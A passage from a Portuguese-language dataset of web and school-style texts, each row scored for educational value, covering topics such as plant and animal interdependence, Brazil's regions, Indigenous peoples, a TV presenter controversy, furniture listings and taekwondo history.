a vida como conhecemos não existiria. Vamos explorar essa fascinante interdependência? + +**O Que as Plantas Oferecem?** + +As plantas são como as cozinheiras da natureza. Elas usam a luz do sol, a água e o gás carbônico (aquele que a gente solta quando respira) para produzir seu próprio alimento, através de um processo chamado fotossíntese. E, como bônus, liberam oxigênio! Esse oxigênio é essencial para a respiração da maioria dos animais, incluindo nós, humanos. Além disso, as plantas fornecem abrigo e alimento direto para muitos animais herbívoros, como vacas, coelhos e gafanhotos. Imagine uma floresta sem árvores: muitos animais perderiam seu lar e sua fonte de comida. + +**O Que os Animais Oferecem?** + +Os animais também desempenham um papel crucial. Muitos animais, como abelhas, borboletas e beija-flores, ajudam na polinização. Quando eles visitam as flores para se alimentar do néctar, carregam o pólen de uma flor para outra, permitindo que as plantas se reproduzam e gerem frutos e sementes. Sem a polinização, muitas plantas não conseguiriam se reproduzir, o que afetaria toda a cadeia alimentar. Além disso, alguns animais, como os passarinhos e os macacos, ajudam a espalhar as sementes das plantas, comendo os frutos e depositando as sementes em outros lugares, o que contribui para a dispersão das espécies. + +**Exemplos do Dia a Dia:** + +* Pense em uma macieira. Ela precisa das abelhas para polinizar suas flores e produzir maçãs. Nós comemos as maçãs, e as abelhas se alimentam do néctar das flores. É uma cadeia de benefícios! +* As minhocas, que vivem no solo, ajudam a arejar a terra, facilitando o crescimento das raízes das plantas. Além disso, suas fezes servem como adubo natural, enriquecendo o solo com nutrientes. +* As aves que se alimentam de frutos ajudam a espalhar as sementes por diferentes áreas, garantindo que novas plantas cresçam e perpetuem a espécie. + +**E o Que Acontece se Essa Relação é Desfeita?** + +Quando o equilíbrio entre animais e plantas é perturbado, por exemplo, pelo desmatamento ou pela poluição, as consequências podem ser desastrosas. A perda de plantas afeta a disponibilidade de alimento e abrigo para os animais, além de reduzir a produção de oxigênio. A diminuição da população de animais polinizadores pode levar à extinção de plantas. É por isso que é tão importante cuidarmos do meio ambiente e protegermos tanto os animais quanto as plantas. + +**Para Refletir:** + +* Quais outras relações de interdependência entre animais e plantas você consegue identificar no seu dia a dia? +* O que podemos fazer para ajudar a preservar essa relação e garantir um futuro mais sustentável para o nosso planeta? + +A interdependência entre animais e plantas é um tema fascinante que nos mostra como a natureza é complexa e interligada. Ao entendermos essa relação, podemos nos tornar mais conscientes do nosso papel na preservação do meio ambiente e contribuir para um futuro mais equilibrado e sustentável para todos!",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta um alto valor educacional, pois introduz o conceito de interdependência entre animais e plantas de forma clara e acessível para crianças do ensino fundamental. Apresenta exemplos do cotidiano, como a relação entre abelhas e macieiras, e explica processos como a fotossíntese e a polinização, conectando-os à importância da preservação ambiental. As perguntas reflexivas incentivam o pensamento crítico. O texto é adequado para o ensino fundamental.",5,1.0 +"Uma oficina interativa para crianças dos seis aos 12 anos, integrada no programa “Curtir Ciência no verão” organizado pelo Centro Ciência Viva de Guimarães. Esta oficina explora conceitos relacionados com circuitos elétricos necessários para a idealização e montagem de máquinas de rabiscos movidas a motor. No final, os participantes podem levar as máquinas criadas para casa. A inscrição é obrigatória e a oficina tem um custo de seis euros por participante.",original,original,original,original,4,0.8 +"A TVI e Iva Domingues continuam de costas voltadas e o facto de a estação ter pedido desculpas pelo sucedido à cidade de Guimarães veio culpabilizar a apresentadora definitivamente. +Recorde-se que há algumas semanas a profissional, em conversa com Joaquim Letria, no “A Tarde é Sua”, referiu que «Guimarães… Já o Eça [de Queirós] dizia… Só mudam as moscas porque a trampa é sempre a mesma». +Esta frase, dita acerca de uma conversa sobre o saneamento da cidade minhota, ganhou proporções gigantes nas redes sociais. Iva Domingues é bracarense e há uma espécie de rivalidade (muitas vezes saudável) entre a cidade dos Arcebispos e Guimarães. +Uma fonte próxima da apresentadora referiu ao Correio da Manhã que mais do que tudo, Iva Domingues está magoada por a TVI não ter saído em sua defesa. «A Iva ficou muito magoada, não só por a TVI ter pedido desculpas pelas palavras dela, mas sobretudo por não a ter defendido. Ela sentiu-se sozinha, isolada, como se tivesse cometido um grande crime», conta. +A apresentadora está há 15 anos na TVI, desde que coapresentou o “Cocktail Nacional” e agora é apontada à CMTV. +«A Iva ficou muito magoada, não só por a TVI ter pedido desculpas pelas palavras dela, mas sobretudo por não a ter defendido. Ela sentiu-se sozinha, isolada, como se tivesse cometido um grande crime», avança a mesma fonte ao jornal da Cofina. +Colaboradora da quatro, Iva só recebe quando trabalha, pois não tem qualquer vínculo à estação. Essa situação está a deixar a apresentadora apreensiva: «A Iva é uma mulher empreendedora e com a Rita [Ferro Rodrigues] criou o blogue Maria Capaz. Mas isso não gera rendimentos, pelo menos até agora: A vida não está fácil para ninguém e a Iva não é exceção». +Um outro amigo da ex-apresentadora do ‘Extra’ do “Secret Story” afirma que «ela não acha justo o que lhe fizeram. A intenção dela não foi ofender os vimaranenses e nunca esperou que ficasse sozinha na polémica». +Seguinte: Depois de “Santa Bárbara”, Benedita Pereira quer continuar «a ligação aos Estados Unidos»",original,original,original,original,0,0.0 +" Marco civil da internet vai tramitar em regime de urgência - VHSYS Blog +Por VHSYS - 12/09/2013 - Leitura de 2 minutos +Início » Marco civil da internet vai tramitar em regime de urgência +O projeto de lei que estabelece o marco civil da internet (PL 2.126/11) passará a tramitar em regime de urgência constitucional na Câmara dos Deputados. O pedido de urgência foi publicado nesta quarta-feira, 11, no Diário Oficial da União. Com a mudança, os deputados passam a ter 45 dias para votar a proposta do deputado Alessandro Molon (PR-RJ), que encontra-se para apreciação no plenário da Casa. +O prazo, no entanto, começa a contar depois que a mensagem de urgência da presidente Dilma Rousseff for publicada no Diário Oficial da Câmara, o que deve ocorrer na quinta-feira, 12. Após a votação no plenário da Câmara, o projeto seguirá para o Senado, que também terá o prazo de 45 dias para analisá-lo. +O projeto tem sido fruto de muitos debates, o que vem atrasando a sua votação no plenário da Câmara. O deputado Molon, no entanto, segue com a mesma postura de que os pontos relativos à neutralidade da rede, liberdade de expressão e privacidade são “inegociáveis”. O parlamentar continua ouvindo sugestões de entidades e empresas, mas destaca que o texto já está pronto para votação.",original,original,original,original,1,0.2 +"Você já parou para pensar em quem vivia no Brasil antes da chegada dos portugueses? E o que aconteceu com essas pessoas? A resposta nos leva aos povos indígenas, os habitantes originários do nosso país. Estudar a história dos povos indígenas não é apenas olhar para o passado, mas entender o presente e construir um futuro mais justo e igualitário para todos. + +Antes da chegada dos europeus, o Brasil era habitado por uma grande diversidade de povos indígenas, cada um com sua própria cultura, língua, costumes e organização social. Imagine um mapa do Brasil todo colorido, com cada cor representando um povo diferente, como os Tupi, os Guarani, os Yanomami, os Xavante, entre muitos outros. Cada um desses povos tinha um jeito único de viver, de se relacionar com a natureza e de transmitir seus conhecimentos de geração em geração. Eles eram, e ainda são, grandes conhecedores da floresta, dos rios e dos animais, e utilizavam esses recursos de forma sustentável, ou seja, sem esgotá-los. + +Com a chegada dos portugueses em 1500, a vida dos povos indígenas mudou drasticamente. Eles foram forçados a trabalhar para os colonizadores, suas terras foram tomadas e suas culturas foram desrespeitadas. Muitos morreram em decorrência de doenças trazidas pelos europeus, para as quais não tinham defesa. Apesar de toda essa violência, os povos indígenas resistiram e continuam resistindo até hoje. Eles lutam por seus direitos, pela demarcação de suas terras, pelo respeito à sua cultura e pela preservação do meio ambiente. + +Hoje em dia, existem diversas comunidades indígenas espalhadas por todo o Brasil, cada uma com suas próprias tradições e desafios. Alguns vivem em terras demarcadas, onde podem preservar sua cultura e seus costumes, enquanto outros vivem em áreas urbanas, buscando novas oportunidades e lutando contra o preconceito. É importante lembrar que os povos indígenas não são um grupo homogêneo. Assim como nós, cada indígena é um indivíduo único, com suas próprias opiniões, sonhos e desejos. + +Ainda existe muito preconceito e desinformação sobre os povos indígenas. Muitas vezes, eles são retratados de forma estereotipada, como se fossem todos iguais e vivendo da mesma forma. É fundamental que a gente aprenda a valorizar a diversidade cultural dos povos indígenas e a reconhecer sua importância para a história e a identidade do Brasil. Que tal pesquisar sobre um povo indígena específico e descobrir mais sobre sua cultura, seus costumes e seus desafios? Ou então, assistir a um filme ou ler um livro que retrate a vida dos indígenas de forma autêntica e respeitosa? Ao fazer isso, você estará contribuindo para construir um futuro mais justo e igualitário para todos.",História,Povos indígenas,anos finais (6º ao 9º ano),"O trecho apresenta informações relevantes sobre os povos indígenas do Brasil, abordando sua diversidade cultural, a vida antes e depois da chegada dos portugueses, e a luta por seus direitos. A linguagem é acessível e adequada para o ensino fundamental, incentivando a pesquisa e o respeito à cultura indígena. O texto contribui para a construção de um futuro mais justo e igualitário, além de estar alinhado com os parâmetros curriculares.",5,1.0 +"Olá, exploradores do conhecimento! Já pararam para pensar na imensidão do nosso Brasil? Somos um país gigante, cheio de cores, sabores e culturas diferentes. Para entendermos melhor essa diversidade, vamos embarcar em uma viagem fascinante pelos nossos estados e regiões. + +Imagine o Brasil como um grande quebra-cabeça, onde cada estado é uma peça única e importante. Cada um deles tem sua própria história, seus costumes e suas paisagens. Do calor do Nordeste ao frio do Sul, do agito do Sudeste à natureza exuberante da Amazônia, cada pedacinho do nosso país contribui para a nossa identidade. + +E para organizar tudo isso, dividimos o Brasil em cinco grandes regiões: Norte, Nordeste, Centro-Oeste, Sudeste e Sul. Cada região reúne estados com características semelhantes, como clima, vegetação e atividades econômicas. Por exemplo, na região Norte, encontramos a maior parte da Floresta Amazônica, enquanto na região Sul, o clima é mais frio e as paisagens são marcadas por campos e araucárias. + +Mas por que essa divisão é importante? Bem, conhecer as regiões do Brasil nos ajuda a entender como o país se desenvolveu ao longo do tempo. As diferenças entre as regiões refletem as diferentes histórias de colonização, os diferentes tipos de economia e as diferentes culturas que se formaram por aqui. Por exemplo, a região Nordeste tem uma forte influência africana, enquanto a região Sul recebeu muitos imigrantes europeus. + +Além disso, entender as regiões do Brasil nos ajuda a valorizar a diversidade do nosso país. Cada região tem seus próprios pratos típicos, suas próprias músicas, suas próprias danças e suas próprias festas. Já experimentou um acarajé da Bahia? Ou um chimarrão do Rio Grande do Sul? Cada um desses sabores nos conta um pouco sobre a história e a cultura do nosso povo. + +E para finalizar nossa viagem, que tal pensarmos um pouco sobre o nosso papel nessa história? Como podemos contribuir para um Brasil mais justo e igualitário, onde todas as regiões tenham as mesmas oportunidades? Como podemos valorizar e preservar a diversidade cultural do nosso país? Essas são perguntas importantes que nos ajudam a construir um futuro melhor para todos os brasileiros. + +Então, que tal começar a explorar o Brasil a partir de agora? Pesquise sobre os estados e regiões, descubra curiosidades, experimente novos sabores e admire a beleza do nosso país. Afinal, o Brasil é muito mais do que um mapa no livro de Geografia. É um país vivo, pulsante e cheio de histórias para contar.",Geografia,Estados e regiões do Brasil,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, sendo adequado para os anos iniciais do ensino fundamental. Introduz o conceito das regiões do Brasil de forma didática e convidativa, estimulando a exploração e valorização da diversidade cultural e geográfica do país. A linguagem é acessível e o conteúdo está alinhado com o currículo escolar, incentivando a reflexão sobre o papel do indivíduo na construção de um Brasil mais justo e igualitário. Aborda conceitos introdutórios de geografia e história de forma coerente e estimulante.",5,1.0 +"Compre ""comoda 6 gavetas"" com o melhor preço +Resultados para ""comoda 6 gavetas"" +De 160,00 a 300,00 (20) +De 300,00 a 390,00 (18) +De 400,00 a 460,00 (20) +De 460,00 a 540,00 (27) +De 540,00 a 680,00 (23) +De 690,00 a 1070,00 (15) +De 1070,00 a 2430,00 (29) +Marrom médio (33) +Cômodas (124) +Cômodas infantis (17) +Carolina baby (9) +Com espelho (23) +Sem espelho (90) +Articuladas (48) +Sem portas (50) +Paludetto & cia ltda (26) +Rv móveis ltda (5) +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Atlas Com 6 Gavetas Para TV Branco Evidência 125 x 62 x 40 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Aioros Grafite e Branco Evidência 125 x 93 x 40 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Onix 6 Gavetas 1713T Imbuia 79 x 156 x 39 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Envio imediato Cômoda 1021T 6 Gavetas Imbuia 110 x 74 x 48 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Turquesa 1 PT 4 GV Quadriflex 99 x 84 x 40 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Milão 2 PT e 6 GV Branco 120 x 113 x 45 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Comoda Demobile Montreal com 6 gavetas a partir de sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Esmeralda 6 Gavetas 1405K Teca 82 x 140 x 50 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda 1026T 7 Gavetas Imbuia 127 x 76 x 48 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Colors 6 GV Mel Verniz e Colorido Envelhecido 91 x 55 x 44 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Lyon 4 GV Branca 110 x 108 x 45 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Maggiore Vertical 6 GV Branco 121 x 82 x 47 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Vegas 4 GV Mel Cera 82 x 94 x 40 cm sem juros +Black Friday Aumentar Exclusivo Mobly Produto esgotado Cômoda Jeriba 6 GV Branco 105 x 92 x 47 cm sem juros",original,original,original,original,0,0.0 +"Já parou para pensar de onde vêm as coisas que usamos todos os dias? A água que bebemos, a madeira da nossa mesa, o metal do nosso celular, a energia que acende a luz… Tudo isso vem da natureza, dos chamados recursos naturais! No Brasil, temos uma riqueza enorme desses recursos, mas é fundamental entendermos o que são e como podemos usá-los de forma consciente. + +Recursos naturais são tudo aquilo que a natureza nos oferece e que podemos usar para satisfazer nossas necessidades. Eles podem ser classificados em renováveis e não renováveis. Os renováveis, como a água, o solo, a energia solar e a floresta, têm a capacidade de se regenerar em um período relativamente curto. Já os não renováveis, como o petróleo, o carvão mineral e os minérios, levam milhões de anos para se formar e, uma vez esgotados, não podem ser repostos em um tempo útil para nós. + +A agricultura, por exemplo, depende muito do solo fértil e da água para produzir alimentos. A energia elétrica que usamos em casa pode vir da força da água em hidrelétricas, ou da luz do sol em painéis solares. Até mesmo o ar que respiramos é um recurso natural essencial! O Brasil é um país abençoado com uma grande variedade de recursos, desde as vastas florestas da Amazônia até as reservas de minério de ferro em Minas Gerais. Essa abundância nos dá a responsabilidade de usar esses recursos com sabedoria, para garantir que as futuras gerações também possam se beneficiar deles. + +Mas como podemos fazer isso na prática? Começa com pequenas atitudes no nosso dia a dia. Economizar água ao escovar os dentes, separar o lixo para reciclagem, usar transporte público ou bicicleta em vez do carro, e cobrar atitudes sustentáveis das empresas e dos governantes. A preservação dos recursos naturais não é só uma questão ambiental, mas também social e econômica. Quando cuidamos da natureza, estamos cuidando da nossa saúde, da nossa qualidade de vida e do futuro do nosso país. Que tal começar hoje mesmo a repensar seus hábitos e a fazer a sua parte? Qual pequena mudança você pode fazer agora para ajudar a preservar os recursos naturais do Brasil?",Geografia,Recursos naturais,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas sobre recursos naturais, sua classificação e importância. Aborda o tema de forma coerente e acessível, introduzindo conceitos relevantes para o currículo escolar, como recursos renováveis e não renováveis, e sua relação com atividades humanas. O texto incentiva a reflexão e a ação, propondo atitudes sustentáveis no dia a dia. Por apresentar raciocínio detalhado e estilo de escrita de fácil compreensão, oferece insights profundos e completos sobre o assunto. O trecho é adequado para uso educacional em diferentes níveis do ensino fundamental.",5,1.0 +"Há fábulas infantis que foram criadas não apenas para entreter, mas também para fazer refletir sobre a vida +Entre tantas histórias para crianças, existem aquelas fábulas com moral para levar para a vida toda. Por meio delas, temos a possibilidade de refletir sobre o nosso cotidiano e entrar em contato com diversos conselhos morais. Esses contos infantis colaboram para que os pequenos se tornem pessoas mais justas e éticas. Confira algumas historinhas famosas que têm muito a ensinar para seus filhos, e até para você: +Um dos livros infantis mais conhecidos, Os Três Porquinhos mostra a importância de batalhar para conseguir o que se quer, valorizando o trabalho duro na conquista do sucesso. Isso pode se encaixar no contexto infantil quando tomamos como exemplo as atividades de alfabetização que, embora, algumas vezes, não atraiam o gosto dos pequenos, são imprescindíveis para seu desenvolvimento e seu futuro. Portanto, nesse momento, assim como na história dos Três Porquinhos, é muito importante que os pequenos sejam persistentes e tenham paciência, dedicação e empenho. +A lebre que zombava da tartaruga já é uma história infantil famosa. Nesta fábula, é ressaltado que, mesmo que você seja bom em algo, não quer dizer que vai ganhar sempre, já que sem dedicação não se chega a lugar nenhum. “Meio caminho andado é o mesmo que meia tarefa cumprida”. +Chapeuzinho conheceu um estranho e deu ouvidos a ele. O resultado? Caiu em uma baita armadilha! Esta história ensina que não podemos nos deixar enganar pelas aparências e jamais devemos dar ouvidos a qualquer estranho. Hoje em dia, isso é uma das grandes preocupações dos pais, o que torna a moral desta história ainda mais relevante. É fundamental que os pais conversem, desde cedo, sobre esse risco com os pequenos.",original,original,original,original,4,0.8 +"Enquanto prepara a reabertura e o reencontro com o público, o Museu do Oriente faz o convite para uma viagem até Timor-Leste, uma viagem a partilhar com a família para desvendar a cultura, as lendas e tradições e ouvir histórias que trazem desafios. +Por +TV Europa +- +tveuropa@tveuropa.pt 26 Maio 2020 - 13:17 +Partilhar no Facebook +Convite do Museu do Oriente para uma viagem a Timor-Leste. Foto: © Rosa Pinto +O Museu do Oriente enquanto prepara a reabertura e o encontro com o público faz um convite para uma viajem até à ilha de Timor-Leste. Uma viagem para desvendar a cultura, as lendas e tradições de um povo que fala português. O convite é extensivo a toda a família com contos para ouvir, fichas-jogo para pintar, um colar cheio de significado para construir e uma exposição para conhecer no conforto de casa. +Na tradição timorense, a Casa Sagrada – ou Lulik – une passado e presente, o mundo dos vivos e o dos antepassados. É um repositório de memória e sabedoria antigas, espaço privilegiado para receber e honrar os antepassados, cuja presença de faz sentir em cada objeto. Aqui acontecem as cerimónias rituais ligadas aos momentos que marcam a vida – do nascimento à morte – dos indivíduos e, por consequência, das suas linhagens. Apesar da diversidade regional, as casas sagradas estão presentes em todo o território de Timor Leste, desempenhando um papel de relevo na coesão da comunidade, no reforço dos elos intergeracionais e na relação com o divino. +Em “Uma Lulik – A Casa Sagrada Timorense”, o Museu do Oriente convida a desvendar os significados e simbologias de uma Lulik, numa ficha em duas partes, para ler e pintar. +Também de Timor-Leste são os cinco contos e lendas tradicionais narrados pelo grupo timorense de contadoras de histórias, Haktuir Ai-knanoik. +Em “A Filha do Sol e da Lua”, ouviremos como Fitun Kiik, filha do Sol e da Lua, se viu separada dos seus progenitores celestes para encontrar, na Terra, uma nova família. +https://www.tveuropa.pt/cnt/uploads/V20DV021.mp4 +“A Montanha de Matebian” leva-nos de volta ao tempo longínquo em que a Terra e a Lua estavam unidas por uma escada de bambu e os seus habitantes circulavam livremente. O Liurai (chefe) de Matebian e o Liurai da Lua tornaram-se compadres e daqui nasceu uma tradição de casamento que ainda hoje persiste em Timor-Leste. Foi também desta união de famílias que originou outro grande acontecimento… que só quem ouvir a história ficará a saber. +https://www.tveuropa.pt/cnt/uploads/V20DV022.mp4 +“O Galo Branco” conta como, há muito, muito tempo, um infeliz órfão foi ajudado por um galo branco. Em reconhecimento desta amizade, ainda hoje o galo branco é protegido e respeitado por várias comunidades da província de Baucau. +https://www.tveuropa.pt/cnt/uploads/V20DV024.mp4 +“O Cajadinho” fala-nos de uma família de três irmãos a tentar melhorar a sua sorte, numa história de enganos e encantos, onde não faltam objetos mágicos e uma bruxa velhaca. +https://www.tveuropa.pt/cnt/uploads/V20DV023.mp4 +Preso numa gaiola e privado do seu bem mais precioso, “O Pássaro da Liberdade” viria a ensinar uma lição ao seu rico amo sobre coisas que não têm preço e pelas quais nunca se deve parar de lutar. +https://www.tveuropa.pt/cnt/uploads/V20DV025.mp4 +São filmes que fazem parte da 2.ª edição de Histórias para Sonhar, um programa da Delegação da Fundação Oriente em Timor-Leste para a produção de conteúdos audiovisuais lúdico-didáticos em língua portuguesa para exibição na televisão em Timor-Leste. O programa foi apoiado pelo Instituto Camões e Embaixada de Portugal em Timor-Leste. +Para ouvir em família, “Timor, a ilha do crocodilo” apresenta a origem lendária da ilha de Timor, numa história contada por Susana Mendonça, monitora do Serviço Educativo do Museu do Oriente. Um menino aventureiro e um crocodilo idoso cruzam os mares em busca do local onde o sol nasce. Para celebrar a sua amizade, convida-se a construir um disco dourado muito especial. Conhecido em Timor como Belak, este disco simboliza o Sol. ...",original,original,original,original,3,0.6 +"Resultados 1 a 40 de 52 +estou saindo para o Atacama dia 25/fev (passando por Argentina e Chile) e não achei nenhum tópico sobre a obrigatoriedade e/ou necessidade de levar a PID para o Chile +Alguém já teve que apresentá-la ? É possível ir sem esse documento ? +No Distrito Federal esse documento custa R$ 290,00 e parece-me um custo desnecessário. Fiz várias pesquisas e até agora não tive convicção de sua necessidade. +Não é necessário, já fui 2 vezes, fui parado pela polícia e a CNH brasileira é suficiente. Além disso vc vai precisar do soapex, q é o seguro para extrangeiros com veículo, faz pela Internet. +Em 2015 viajamos em cinco motos pelo Chile, Peru, Argentina e Paraguai e em nenhum momento foi pedida a PID. +Todos tínhamos tirado e foi uma despesa desnecessária. +Só em poucas aduanas foram solicitados os seguros tipo Carta Verde ou SOAT. +Só fomos parados uma única vez pela polícia e foi ainda no Brasil. +Quem realmente exigiu o seguro foi a aduana do Paraguai. +Lá já tem todo um esquema de venda de seguros nas proximidades, com cheiro de jogo de conveniência. +Everton, tb fui só com a habilitação e passaporte, além do Soapex e Carta Verde. O PID não é obrigatório. +Não sei se a regra é aplicável tb para motos próprias, mas se for alugar um carro no Chile ou na Argentina, ou deverá apresentar o PID ou a habilitação e o PASSAPORTE... o conjunto habilitação + RG não é aceito. +No Detran SP diz ser obrigatório nos países da Convenção de Viena. +http://www.saopaulo.sp.gov.br/spnoti....php?id=243733 +Já no Detran do RS diz que a CNH é válida na maioria dos países da Convenção de Viena por até 180 dias. +Porém eles dizem que a PID pode ajudar na checagem dos documentos em caso de acidentes, ou seja, se for e voltar sem ocorrência pode não ser necessário, mas no caso de algum imprevisto pode fazer falta. Como disseram, nem mesmo os seguros eles pedem/verificam, mas se houver sinistro vc será responsabilizado por não ter. +http://www.detran.rs.gov.br/conteudo...l-para-dirigir +Apesar de a CNH ser aceita na maioria dos países signatários da Convenção de Viena (por até 180 dias a partir do ingresso no país), portar a PID é o mais recomendável, visto que se trata de um documento internacionalmente reconhecido, traduzido em oito idiomas (alemão, árabe, chinês, espanhol, francês, inglês, português e russo). A PID pode facilitar a checagem das informações do condutor, não apenas em situações de fiscalização com agentes oficiais, mas também na hora de locar veículos, resgatar seguros e buscar agilidade nos atendimentos em casos de acidentes. +É OBRIGATÓRIO SIM!! porém...não pedem. País nenhum tem o hábito de pedir quando fiscaliza. Aqui no RS mesmo, os Uruguaios e Argentinos dificilmente são cobrados pela PID. Mas que é obrigatório isso é! Se a autoridade de trânsito durante a abordagem quiser cobrar ela pode! +Somente com a PID é que o fiscalizador conseguirá ler e interpretar o que diz nossa CNH, pois estará na língua dele as informações. Até pq a PID explica o que é o que. Exemplo: categoria A: moto e triciclo. No Uruguai por exemplo categoria A é carro e pequenos caminhões até 6.000kg se não me engano. Ou seja, cada país tem suas classificações para condução veicular e a PID explica o que é o que na língua de quem vai fiscalizar. +Quanto a CNH vale por 6 meses com visto de turista, depois necessita-se realizar o processo de obtenção da mesma no país o qual se deseja. Nos países do mercosul é dispensado o visto e consequentemente o passaporte, entra-se com a identidade fazendo o permisso. +Última edição por Eduardo Caborteiro; 15/02/2017 às 01:43 PM. +Sei não, não sou especialista do assunto mas não achei nenhum lugar citando a obrigatoriedade. +Falam bastante da facilidade que a PID pode dar, só. +Eu, particularmente usei na 1a vez na terra de Tevez, depois... no more, muito caro. +http://g1.globo.com/Noticias/Carros/...+EXTERIOR.html +Eu acabei de solicitar a minha. É caro, mas vale pela tranquilidade de estar com toda documentação. +https://pt.wikipedia.o...",original,original,original,original,2,0.4 +"Bom De Gol: Espanha começa o ano no topo do Ranking da FIFA +Como era de se esperar, não houve grandes mudanças no Ranking Mundial da FIFA/Coca-Cola neste início de ano. A Espanha continua na liderança, seguida de Holanda e Alemanha. A única alteração no ""top ten"" foi a troca de posições entre Croácia, agora em nono, e Egito, que caiu para décimo. +Entre as 50 primeiras, apenas 12 seleções se moveram no ranking. +1 Espanha 1887 +3 Alemanha 1485 +7 Uruguai 1152 +9 Croácia 1075 +10 Grécia 1016 +12 Rússia 982 +13 Itália 965 +15 Gana 940 +16 Eslovênia 897 +17 Japão 882 +18 EUA 869 +19 França 867 +20 Eslováquia 854 +21 Austrália 847 +22 Suíça 841 +23 Sérvia 837 +24 Paraguai 832 +26 Costa do Marfim 813 +29 Suécia 759 +30 Rep.Tcheca 751 +31 Turquia 741 +32 Coreia do Sul 735 +33 Egito 709 +34 Ucrânia 702 +35 Rep.Irlanda 681 +36 Bielorrússia 655 +37 Hungria 632 +38 Irlanda do Norte 615 +40 Nigéria 604 +41 Burkina Fasso 598 +42 Bósnia e Herzegovina 583 +43 Camarões 582 +44 Irã 571 +45 Áustria 569 +46 Guiné Guiné 564 +47 África do Sul 562 +48 Tunísia 560 +50 Colômbia 558 +Marcadores: Espanha, Fifa, futebol, Ranking Mundial da FIFA",original,original,original,original,1,0.2 +"Agência Das Letras, A Primeira Agência De Talento E Conteúdos Lançada Em Portugal - O Mundo Encantado dos Livros +Agência Das Letras, A Primeira Agência De Talento E Conteúdos Lançada Em Portugal +sábado, fevereiro 11, 2017 Agência Das Letras, Divulgação, Noticias, Novidades +Dentro dos talentos a serem representados, o da escrita será um deles, nas suas várias formas, que podem passar por escrever e publicar um livro, levar a palco uma peça de teatro ou até escrever e realizar um filme. Em todos estes casos a Agência das Letras vai ajudar os seus autores a concretizar os seus projectos através da identificação de meios para materializar objetivos, da negociação de todo o processo, num acompanhamento e aconselhamento personalizado e profissional único em Portugal. +As vozes ainda inéditas da literatura nacional, que sozinhos, provavelmente não iriam conseguir ver o seu livro publicado, terão também uma atenção especial e um serviço específico dedicado. +Ainda na escrita, para os autores já publicados, a Agência das Letras oferece um serviço de representação de direitos de autor, com aconselhamento personalizado que inclui serviços jurídicos, serviços financeiros, acompanhamento de negociação e representação internacional, que assegura uma apresentação dos autores no estrangeiro, por forma a possibilitar a publicação das suas obras fora de Portugal. +Além desta vertente, a Agência das Letras também oferece aconselhamento nas áreas digitais e mais tradicionais, através de assessoria de marketing e mediática, produção de conteúdos e eventos, internacionalização de projetos, entre outros.",original,original,original,original,1,0.2 +"Seu irmão é muito fofo, ficou um ""caipira"" estiloso demais rsrs. +Adorei suas fotos, ficaram tão naturais!!!! +Lindaaa! E essa scarf maravilhosa??? Comprei uma parecida, não vejo a hora de chegar!!!",original,original,original,original,0,0.0 +"Terrenos à venda na Vila Prudente em São Paulo - Encontre Terrenos na Vila Prudente | 123i +Terrenos na Vila Prudente +Terrenos à venda na Vila Prudente em São Paulo, SP +Terreno 11x 34 m², próximo ao metrô Vila Prudente. +Área 272 m², sendo 8 frente por 34 metros de fundo, tem 2 casas sendo uma desativada a outra com 3 dormitórios, 2 suítes, opção para banheira de hidromassagem, closet, sala jantar, sala de TV e sacada. REF. TE1109 +O melhor terreno da Rua Santa Beatriz, com 369 m2 , com uma casa antiga, mas que de repente também poderá ser reformada . Mas seria ótima oportunidade para construtor, pois o terreno possui 10 metros de frente , quase 28 m de fundos de um lado e 25,3 do outro, tipo um leque. Dentro do"" condomínio"" , . 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Neste artigo, contaremos um pouco sobre a história dessa popular disciplina. +Índice +1 Onde e quando surgiu o taekwondo? +2 História do taekwondo como esporte oficial +3 Associações de taekwondo +3.1 Federação Mundial de Taekwondo (WTF) +3.2 Associação Coreana de Taekwondo (KTA) +3.3 Academia Mundial de Taekwondo, Kukkiwon +3.4 Federação Internacional de Taekwon-Do (ITF) +4 O taekwondo nos dias de hoje +Onde e quando surgiu o taekwondo? +A arte marcial do taekwondo surgiu em 1955 e foi fundada pelo então general Choi Hong-hi em Seul, capital da Coreia do Sul. O general Choi desenvolveu a disciplina depois de passar oito meses na prisão durante a ocupação japonesa na Coreia. Para isso, ele uniu uma antiga arte marcial coreana chamada “taekkyon” com a disciplina japonesa de karate-do. +História do taekwondo como esporte oficial +Como já mencionamos, o taekwondo nasceu em 1955, mas só foi reconhecido como esporte em 1988. Naquela época, a Coreia estava realizando os Jogos Olímpicos de Seul 1988. Tanto lá quanto nos Jogos Olímpicos de Barcelona 1992, a arte marcial taekwondo foi classificada como esporte de exibição. +Por fim, durante os Jogos Olímpicos de Sydney 2000 o taekwondo foi reconhecido como esporte olímpico oficial, permitindo que os atletas que faziam sucesso na disciplina ganhassem medalhas olímpicas. +Associações de taekwondo +A seguir, vamos explicar algumas diferenças nas regras do taekwondo que as diversas associações ou federações têm em relação às competições que organizam. +Federação Mundial de Taekwondo (WTF) +Esta organização nasceu levando em consideração vários ensinamentos de artes marciais de diferentes mestres da Coreia do Sul, que uniam as disciplinas tradicionais coreanas com artes marciais de outros países, como Japão ou China. Esses mestres fundaram umas das mais prestigiadas casas de artes marciais da Coreia. +Essa federação de taekwondo foi oficialmente consolidada como tal em 1973. Nesse mesmo ano, a WTF organizou o primeiro torneio mundial de taekwondo. +Associação Coreana de Taekwondo (KTA) +Em 1959, vários dos mestres fundadores das escolas de artes marciais coreanas concordaram em criar a KTA. Graças ao prestígio de seu cargo no exército, o general Choi foi eleito presidente da associação pelos dirigentes das outras escolas. Suas tentativas de promover a disciplina não deram certo devido à pobreza na Coreia do pós-guerra. +Academia Mundial de Taekwondo, 